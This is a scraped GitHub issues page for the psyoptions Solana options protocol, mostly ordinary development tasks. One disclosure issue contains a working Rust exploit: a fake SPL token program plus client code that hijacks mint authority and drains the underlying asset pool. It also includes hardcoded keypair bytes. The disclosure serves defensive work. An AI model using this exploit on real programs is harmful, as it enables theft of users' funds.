Giter Site home page Giter Site logo

psyoptions's People

Contributors

evanpipta avatar iurage avatar taylor123 avatar tomjohn1028 avatar u32luke avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

psyoptions's Issues

ClosePosition

  • writer must all specify their Underly Asset address in the instruction
  • Writer must send a Writer Token and a Option Token
  • Program checks the tokens are for the correct market
  • Program burns the tokens and returns the underlying asset amount per contract
  • Add / Update bindings

Implement Serum permissioned markets

  • Instruction to initialize new permissioned markets
    • Add the Serum market ID to the OptionMarket
  • implement proxy instructions with identity verification

Add 0.03% fee collection when exercising

This depends on #72 and #76

When a user exercises, we should collect a 0.03% fee from the quote asset the user is putting up to exercise. It should make the same check to validate the quote SPL Token has enough decimals to make a 0.03% fee

Incentivized market initialization

Problem

Initializing an Option Market is expensive. The user sending the TX to initialize the market (Market Initializer) will need to lock up a fair amount of SOL to allocate the needed storage for the Option Market.

Proposed Solution

IF there was a governance token, the token could be used to incentivize creation of markets by rewarding users for initializing markets.

An initial thought is to mint a governance token to the Market Initializer when the market is initialized. However, this is not ideal since it could easily be gamed. Market Initializers could initialize markets (lock up SOL), then close the market in order to unlock the SOL. Depending on price levels, this would create wash protocol activity when the price of the governance token was high enough to warrant the TX costs.

A better approach would be to mint the governance token to Market Initializer during a mint option transaction. This achieves multiple positive outcomes. The Market Initializer will think critically about what markets to initialize. The more activity an option market is likely to get, the more the perceived pay out from initializing it. This will ultimately reduce the number of markets that are likely to have no action, while maintaining an incentive for the Market Initializer to lock up their SOL.

Start js bindings package

AC:

  • Should have a packages/bindings folder with package.json
  • Should export functions to take an object of params and turn it into a buffer
  • Should have a function to create an initialize market instruction

Add 0.03% fee collection when minting

This task depends on having accounts to send various underlying assets too. (i.e. depends on #72 and #76)

If the amount per contract * 0.0003 is feasible (i.e. an integer) than we should charge a 3bps fee and send it to the appropriate address.

  • Add fee recipient account to instruction accounts array
    • Rust client
    • TS client
  • Add fee collection (SPL Token transfer) to process_mint_covered_call

Nice to have

  • Validate the user has enough tokens in their account, if not return a well defined error.

Add flat fee for NFTs

When the math doesn't work where amount_per_contract * fee_rate is not an integer, then we should collect a flat fee of 1 USDC.

This case is to support writing contracts containing NFTs.

Refactor exercise_covered_call instruction

  • Remove all logic that deals with OptionWriterRegistry
  • Instead of transferring the quote asset directly to a writer, transfer it to the market's quote asset pool
  • Update bindings and instructions

Remove unused accounts

There are a few accounts that are unused and should be removed. E.g. associated_token_program on InitMarket and MintOption

Concerns to consider

  • Composers with CPIs on these instructions will need a change log and want to update as well.
  • The bindings will need to be update
  • UI will need to be updated with client bindings

European option pools brain dump

European option pools

Pools

Underlying asset pool
Quote asset pool

SPL Tokens

  • Writer LP token
  • Option token

Pros

  • Option writer can more easily transfer their position elsewhere (trade it to a third party)
  • No option registry so initializing markets is much cheaper

Cons

  • Can only exercise post expiry
  • Writer LP token holders must wait until Expiry + Settlement Period to exchange LP tokens for underlying/quote asset

Functionality pre expiry:

Sell to open

Mint a covered call by locking underlying asset

Buy to close

Buy an option token on serum and burn both LP token and Option tokens at the same time

Buy to open

Buy option from serum

Sell to close

Sell option on serum

Functionality post expiry:

Goals

OTM (need to get the underlying asset back to LP token holders)
ITM (need to get quote asset from option holders to LP token holders. Need to get underlying asset to Option Token holders)

Without expiry state

There will be a grace settlement period post expiration for the Option holders to exercise their contract. This grace period allows the option holder the ability to exchange their quote asset for underlying asset at strike price. After the settlement period, LP token holders may claim either the underlying asset or quote asset depending on what’s in each pool

Add bundler for the js-bindings package

The JS bindings package should have a bundler to convert the files from source to different distribution versions. Probably want to have a commonjs, esm/mjs, and then es5 commonjs version. The package.json should probably point to the es5 one by default, and consumers who are either transpiling everything or only using it on targets that don't need to be transpiled can manually set the import to one of the other module names.

Another thing that would be good addition would be also copying over each binding function as a separate file, so that consumers who only use one of them get to tree shake our module.

More flexible InitSerumMarket implementation

The current code to initialize a Serum market with a PDA only allows 1 Serum market per OptionMarket.

#[account(init,
        seeds = [&option_market.key().to_bytes()[..], b"serumMarket"],
        bump,
        space = market_space as usize,
        payer = user_authority,
        owner = *dex_program.key
    )]
    pub serum_market: AccountInfo<'info>,

The code should be updated to include the Serum market quote asset in the seeds. This will allow the OptionMarket to have a different Serum markets with different quote assets.

  • Change seeds to use quote/price currency asset
  • Check if this is a backwards compatible implementation

Option Registry will causes significant RPC/network data overhead

Related to #8

When there are a significant number of Option Writers in the registry, the amount of data returned to read Option Market Data could be up to 10MB. This is problematic and unnecessary when the application may only need access to some of the Option meta data (underlying asset mint, quote asset mint, option mint, etc).

One possible solution is to decouple the Option Writer Registry from the other data by moving it into its own account. The Option Market Data account could link to this account via another stored PublicKey

Implement Serum Closeable Markets

Closeable markets need to be implemented on the master branch of Serum and on top of release 0.4.0. Psy American uses DEX 0.4.0 now and in order to retrieve the locked SOL from current markets we need to implement closeable markets on top of that release that uses the prune_authority to restrict market closing.

On the master branch there should be a separate close_authority that is set on market initialization

Create ClosePostExpiration binding

  • create a closePostExpirationInstruction function to generate the Solana TransactionInstruction
  • create a closePostExpiration function to actually generate necessary data, the instruction, and fires off the TX

Create ExercisePostExpiration binding

  • create a exercisePostExpirationInstruction function to generate the Solana TransactionInstruction
  • create a exercisePostExpiration function to actually generate necessary data, the instruction, and fires off the TX

Max contracts is currently limited by heap size

const MAX_CONTRACTS: usize = 10;

We currently have a limit on the max contracts because of how we serialize and deserialize the entire OptionMarket with option_writer_registry included.

Based on the Solana Account data limits (~10MB as of this writing) and OptionMarket should really be able to hold > 30,000 OptionWriters in its registry. Allowing for that many open option contracts for a given market.

To get closer to this 30,000 limit for V1, we will need to avoid loading the entire registry into memory and some how shard / parse it more efficiently. Looping may prove to be an issue because of the Solana runtime compute limits.

Create asset generator

When developing and testing locally it would be really nice to generate the required assets (underlying and quote). We might be able to use some SPL generating interface that others have used.

@Taylor123 can you see if there are any interfaces that can point to a localnet and create SPL tokens?

Refactor close_post_expiration

  • require Writer Token for the market to be sent with instruction
  • burn the Writer Token
  • Transfer the Underlying Asset amount per contract from the pool to the address specified by the user
  • Update bindings

Deploy to dev net

We should deploy to protocol to Solana Dev net so we can begin building and testing a UI.

Assert that the OptionMarket is not spoofed

Currently an adversary could pass in an account as the option market with nearly identical information where only the UA and QA amounts were changed. This would allow them to game the system and drain the vaults.

We need to figure out a mechanism which ties and validates, at the program level, the specific option account address to the vaults.

Create the MintCoveredCall bindings

  • create a mintCoveredCallInstruction function to generate the Solana TransactionInstruction
  • create a mintCoveredCall function to actually generate necessary data, the instruction, and fires off the TX

Update Initialize Market instructions

We need to change the initialize_market instruction to

  • no longer create OptionWriterRegistry
  • initialize mint for the new Writer Token
  • create / require Quote Asset pool account that can be controlled by the program
  • update bindings to reflect changes

[New] ExchangeWriterTokenForQuote

This is a new one. We have a case where a contract holder can exercise pre-expiration. If for some reason there is a Writer with a Writer Token that would like to take the Quote Asset from the pool they should be allowed to burn their Writer Token in exchange for the quote_asset_amount per contract.

Instruction

  • verify that there is at least quote_asset_amount in the Quote Asset Pool
  • burn the Writer token
  • send quote_asset_amount of Quote Asset to the specified Quote Asset Wallet (writer must specify in instruction)
  • Create bindings for this new function

DRY integration tests

For the Solana program integration tests we currently upload a new version of the program for every single integration test.

We should be able to upload once prior to the entire suite of tests and then reference that program id throughout all future tests in the run.

Handle get/create fee collection accounts

Because the protocol is so flexible, any SPL could be used to create an option market. So the fee collection needs to be flexible that the collection addresses aren't hard coded.

Serum must implement something similar and could be used as inspiration.

Create ExerciseCoveredCall binding

  • create a exerciseCoveredCallInstruction function to generate the Solana TransactionInstruction
  • create a exerciseCoveredCall function to actually generate necessary data, the instruction, and fires off the TX

Missing check for SPL token program leads to loss of funds

The SPL program isn't checked in most functions which means an attacker can trick the contract into executing an controlled program. This can be used to change the authority of the option and writer mints which means the attacker can drain the contract.

The poc uses a fake SPL program in process_close_position which replaces the calls to burn with set_authority. Then it mints option and writer tokens and uses process_close_position to drain the underlying asset pool.

poc:

use poc_framework::devnet_client;
use solana_client::rpc_client::RpcClient;
use solana_options::{instruction::OptionsInstruction, market::OptionMarket};
use solana_sdk::{
    clock::UnixTimestamp,
    instruction::{AccountMeta, Instruction},
    program_pack::Pack,
    pubkey::Pubkey,
    signature::{Keypair, Signer},
    system_instruction::create_account,
    sysvar,
    transaction::Transaction,
};
use spl_token::instruction::{initialize_account, mint_to};

fn close_position(
    program_id: &Pubkey,
    spl_token: &Pubkey,
    options_market: &Pubkey,
    underlying_asset_pool: &Pubkey,
    option_mint_key: &Pubkey,
    option_token_source: &Pubkey,
    option_token_source_authority: &Pubkey,
    writer_token_mint: &Pubkey,
    writer_token_source: &Pubkey,
    writer_token_source_authority: &Pubkey,
    underlying_asset_dest: &Pubkey,
) -> Instruction {
    let (market_authority, _bump_seed) =
        Pubkey::find_program_address(&[&options_market.to_bytes()[..32]], &program_id);

    let data = OptionsInstruction::ClosePosition {}.pack();

    let mut accounts = Vec::with_capacity(11);
    accounts.push(AccountMeta::new_readonly(*spl_token, false));
    accounts.push(AccountMeta::new_readonly(*options_market, false));
    accounts.push(AccountMeta::new(*option_mint_key, false));
    accounts.push(AccountMeta::new_readonly(market_authority, false));
    accounts.push(AccountMeta::new(*option_token_source, false));
    accounts.push(AccountMeta::new_readonly(
        *option_token_source_authority,
        false,
    ));
    accounts.push(AccountMeta::new(*writer_token_mint, false));
    accounts.push(AccountMeta::new(*writer_token_source, false));
    accounts.push(AccountMeta::new_readonly(
        *writer_token_source_authority,
        false,
    ));
    accounts.push(AccountMeta::new(*underlying_asset_dest, false));
    accounts.push(AccountMeta::new(*underlying_asset_pool, false));

    Instruction {
        program_id: *program_id,
        data,
        accounts,
    }
}

fn get_markets(client: &RpcClient, psyoptions_pubkey: &Pubkey) -> Vec<(Pubkey, OptionMarket)> {
    client
        .get_program_accounts(psyoptions_pubkey)
        .unwrap()
        .into_iter()
        .map(|(key, acc)| (key, OptionMarket::unpack(&acc.data).unwrap()))
        .collect::<Vec<_>>()
}

fn pwn(
    client: &RpcClient,
    psyoptions: &Pubkey,
    payer: &Keypair,
    key: &Pubkey,
    market: &OptionMarket,
) {
    let psyoptions = "4DvkJJBUiXMZVYXFGgYQvGceTuM7F5Be4HqWAiR7t2vM"
        .parse()
        .unwrap();
    let recent_hash = client.get_recent_blockhash().unwrap().0;
    let fake_spl_program = "EwjpvLLxsmqXJZg4XmfFNBNynPsyzjrvhL77eHobG6Pk"
        .parse()
        .unwrap();
    let (market_authority, _bump_seed) =
        Pubkey::find_program_address(&[&key.to_bytes()[..32]], &psyoptions);
    let insn = close_position(
        &psyoptions,
        &fake_spl_program,
        key,
        &market.underlying_asset_pool,
        &market.option_mint,
        &spl_token::id(),
        &market_authority,
        &market.writer_token_mint,
        &spl_token::id(),
        &market_authority,
        &Pubkey::new_unique(),
    );

    println!(
        "take over mint: {:#?}",
        client.send_and_confirm_transaction(&Transaction::new_signed_with_payer(
            &[insn],
            Some(&payer.pubkey()),
            &[payer],
            recent_hash
        ))
    );

    let balance = client
        .get_token_account_balance(&market.underlying_asset_pool)
        .unwrap()
        .amount
        .parse::<u64>()
        .unwrap();

    let drain_amount = balance / market.underlying_amount_per_contract;

    let options_keypair = Keypair::new();
    let writer_keypair = Keypair::new();
    let payout_keypair = Keypair::new();
    let insns = &[
        create_account(
            &payer.pubkey(),
            &options_keypair.pubkey(),
            10_000_000,
            spl_token::state::Account::LEN as u64,
            &spl_token::id(),
        ),
        initialize_account(
            &spl_token::id(),
            &options_keypair.pubkey(),
            &market.option_mint,
            &payer.pubkey(),
        )
        .unwrap(),
        create_account(
            &payer.pubkey(),
            &writer_keypair.pubkey(),
            10_000_000,
            spl_token::state::Account::LEN as u64,
            &spl_token::id(),
        ),
        initialize_account(
            &spl_token::id(),
            &writer_keypair.pubkey(),
            &market.writer_token_mint,
            &payer.pubkey(),
        )
        .unwrap(),
        create_account(
            &payer.pubkey(),
            &payout_keypair.pubkey(),
            10_000_000,
            spl_token::state::Account::LEN as u64,
            &spl_token::id(),
        ),
        initialize_account(
            &spl_token::id(),
            &payout_keypair.pubkey(),
            &market.underlying_asset_mint,
            &payer.pubkey(),
        )
        .unwrap(),
    ];
    println!(
        "create token accounts: options = {:?}, writer = {:?}, payout = {:?}\n{:#?}",
        options_keypair.pubkey(),
        writer_keypair.pubkey(),
        payout_keypair.pubkey(),
        client.send_and_confirm_transaction(&Transaction::new_signed_with_payer(
            insns,
            Some(&payer.pubkey()),
            &[payer, &options_keypair, &writer_keypair, &payout_keypair],
            recent_hash
        ))
    );

    let insns = &[
        mint_to(
            &spl_token::id(),
            &market.option_mint,
            &options_keypair.pubkey(),
            &payer.pubkey(),
            &[],
            drain_amount,
        )
        .unwrap(),
        mint_to(
            &spl_token::id(),
            &market.writer_token_mint,
            &writer_keypair.pubkey(),
            &payer.pubkey(),
            &[],
            drain_amount,
        )
        .unwrap(),
    ];

    println!(
        "minting tokens: {:#?}",
        client.send_and_confirm_transaction(&Transaction::new_signed_with_payer(
            insns,
            Some(&payer.pubkey()),
            &[payer],
            recent_hash
        ))
    );

    for _ in 0..drain_amount {
        let insns = &[close_position(
            &psyoptions,
            &spl_token::id(),
            key,
            &market.underlying_asset_pool,
            &market.option_mint,
            &options_keypair.pubkey(),
            &payer.pubkey(),
            &market.writer_token_mint,
            &writer_keypair.pubkey(),
            &payer.pubkey(),
            &payout_keypair.pubkey(),
        )];

        println!(
            "draining account: {:#?}",
            client.send_transaction(&Transaction::new_signed_with_payer(
                insns,
                Some(&payer.pubkey()),
                &[payer],
                client.get_recent_blockhash().unwrap().0
            ))
        );
    }
}

fn main() {
    let psyoptions = "4DvkJJBUiXMZVYXFGgYQvGceTuM7F5Be4HqWAiR7t2vM"
        .parse()
        .unwrap();
    let client = devnet_client();
    let recent_hash = client.get_recent_blockhash().unwrap().0;
    let payer = Keypair::from_bytes(&[
        246, 147, 90, 92, 66, 5, 28, 87, 167, 228, 16, 235, 248, 102, 70, 125, 171, 194, 13, 98,
        165, 236, 152, 182, 108, 154, 99, 109, 199, 34, 35, 75, 90, 210, 32, 94, 152, 106, 125, 69,
        75, 82, 227, 74, 67, 42, 134, 41, 24, 218, 185, 106, 56, 44, 77, 90, 182, 130, 159, 97, 24,
        86, 44, 154,
    ])
    .unwrap();

    let markets = get_markets(&client, &psyoptions);
    let (key, market) = &markets[0];
    pwn(&client, &psyoptions, &payer, key, market);
}

fake SPL program:

use solana_program::{
    account_info::{next_account_info, AccountInfo},
    entrypoint,
    entrypoint::ProgramResult,
    program::invoke,
    pubkey::Pubkey,
};
use spl_token::instruction::{AuthorityType::MintTokens, TokenInstruction};

entrypoint!(process_instruction);
pub fn process_instruction(
    _program_id: &Pubkey,
    accounts: &[AccountInfo],
    instruction_data: &[u8],
) -> ProgramResult {
    let account_info_iter = &mut accounts.iter();

    if let TokenInstruction::Burn { amount: _ } = TokenInstruction::unpack(instruction_data).unwrap() {
        let token = next_account_info(account_info_iter)?; // this will be spl_token
        let mint = next_account_info(account_info_iter)?; // this will be mint
        let authority = next_account_info(account_info_iter)?; // this will be current authority of mint

        let insn = spl_token::instruction::set_authority(
            &spl_token::id(),
            mint.key,
            Some(
                &"77XXisvtPQ5Zw9a8Ewy4RBUAPFqBqHDkbBNrT7ki7DY5"
                    .parse()
                    .unwrap(),
            ),
            MintTokens,
            authority.key,
            &[],
        )
        .unwrap();
        invoke(&insn, &[token.clone(), mint.clone(), authority.clone()])?;
    }

    Ok(())
}

create function to validate feasible fee

SPL Tokens have various decimals and we want to be able to support contracts for NFTs. To support, we need a function that determines if a 0.03% fee is feasible given the SPL Token that the fee will be taken in.

Refactor mint_covered_call instruction

  • The instruction now requires a Writer Token wallet address
  • Mint a Writer Token and send it to the writer token wallet address
  • Update bindings to reflect changes

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.